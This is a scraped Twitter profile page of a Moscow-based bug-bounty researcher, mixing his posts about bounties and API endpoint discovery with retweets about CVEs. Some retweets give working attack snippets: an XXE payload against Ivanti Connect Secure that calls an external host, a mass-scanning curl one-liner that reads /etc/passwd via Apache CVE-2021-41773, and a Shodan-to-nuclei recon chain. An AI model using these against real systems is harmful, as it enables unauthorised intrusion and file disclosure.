Ramazan @r0hack

Researcher in @deteact hacked by r0hack https://t.co/xUo4swrcWM r0hack.me Russia, Moscow Joined May 2018

Tweets

266
Followers

2K
Following

269
Likes

290

Hackadvisor @hackadvisor

a year ago

Sick of wasting time on buggy bug bounty programs? At hackadvisor.io, hunters leave anonymous reviews — honest, unfiltered & straight from the trenches.

1 2 4 403 0

View Details

Tuan Anh Nguyen⚡️ 🇻🇳 @haxor31337

2 years ago

@l33tdawg @HusseiN98D @ptsecurity @jkana101 @kienbigmummy @HHieupc Congrats @r0hack for MVP T-Bank 🔥

0 1 11 1K 1

View Details

CVE-2024-25600: Unauth. RCE vulnerability caused by PHP code injection in Bricks Builder, a WordPress site builder with over 25,000+ active installations. Severity: Critical (CVSS 9.8) Root cause analysis: snicco.io/vulnerability-… PoC: github.com/Chocapikk/CVE-… Mitigation: Upgrade

9 216 798 77K 316

View Details

H4x0r.DZ 🇰🇵 @h4x0r_dz

2 years ago

CVE-2024-22024, XXE on Ivanti Connect Secure payload encoded base64: <?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://{{external-host}}/x"> %xxe;]><r></r> send it to 127.0.0.1/dana-na/auth/saml-sso.cgi with SAMLRequest parm #bugbountytips #cve #Ivanti

4 138 602 54K 277

View Details

Ramazan @r0hack

4 years ago

Super tool for collecting api endpoints: github.com/alufers/mitmpr… #tools #pentest #bugbounty

2 0 8 0 3

View Details

Ramazan @r0hack

4 years ago

API endpoint collection methods: - Dynamic assembly - In JavaScript files - With dorks - Enumeration of endpoints - APK file - Internet Archive - ... and even less popular ways #pentest #BugBounty

2 23 49 0 22

View Details

Ramazan @r0hack

4 years ago

@a_arelli_ Буду использовать тот язык, который хочу ))

0 0 2 0 0

View Details

Ramazan @r0hack

4 years ago

Hi guys. Here t.me/BountyOnCoffee will be a lot of my interesting notes on pentests and bagbounty. A fair amount of interesting and useful information has accumulated over the past couple of years. #pentest #BugBounty #BugBountytips

1 0 5 0 0

View Details

Ramazan @r0hack

4 years ago

@a_arelli_ In English, too, there will be

1 0 0 0 0

View Details

Ramazan @r0hack

4 years ago

By the way, it was an IDOR in the NFT marketplace )

2 0 11 0 1

View Details

Ramazan @r0hack

4 years ago

Yay, I was awarded a $2,500 bounty on @Hacker0x01! hackerone.com/r0hack #TogetherWeHitHarder But what the hell do I need them for? Just to look at the figure in my personal account? 🤣🤣

7 2 88 0 13

View Details

Ramazan @r0hack

4 years ago

@patientnumv @Jarek737052 @WSJ Russia still won without her 🤣🤣🤣🤣🤣🤣🤣

0 0 0 0 0

View Details

Ramazan @r0hack

4 years ago

@WSJ Пидаразы. Именно перед выступлением начали морально давить этим…

1 0 0 0 0

View Details

Nagli @galnagli

5 years ago

The new @Grafana CVE-2022-21703, is actually a 1 Click Authentication Bypass and full read SSRF via CSRF, all you need is XSS/TKO on Same site host and the CVSS bumps to 9.3 - Critical. All @Grafana versions are VULNERABLE 🙃 Read more at jub0bs.com/posts/2022-02-… #BugBounty

6 111 337 0 74

View Details

Dr. Rohit Gautam @aslicyberguy

5 years ago

CVE-2021-41773 POC 🔥👇 ✅ One Liner : cat targets.txt | while read host do ; do curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n";done

10 376 935 0 243

View Details

Pethuraj M @Pethuraj

5 years ago

TProxer 🪄 - A Burp Suite extension to automate the process of finding reverse proxy path-based SSRF. » github.com/ethicalhacking… #cybersecurity #infosec #bugbounty #bugbountytips

2 212 534 0 156

View Details

N0t0d4y @0xJin

5 years ago

Fingerprinting with Shodan and Nuclei engine: shodan domain DOMAIN TO BOUNTY | awk '{print $3}' | httpx -silent | nuclei -t /home/ofjaaah/PENTESTER/nuclei-templates/ ref @ofjaaah #bugbounty #bugbountytips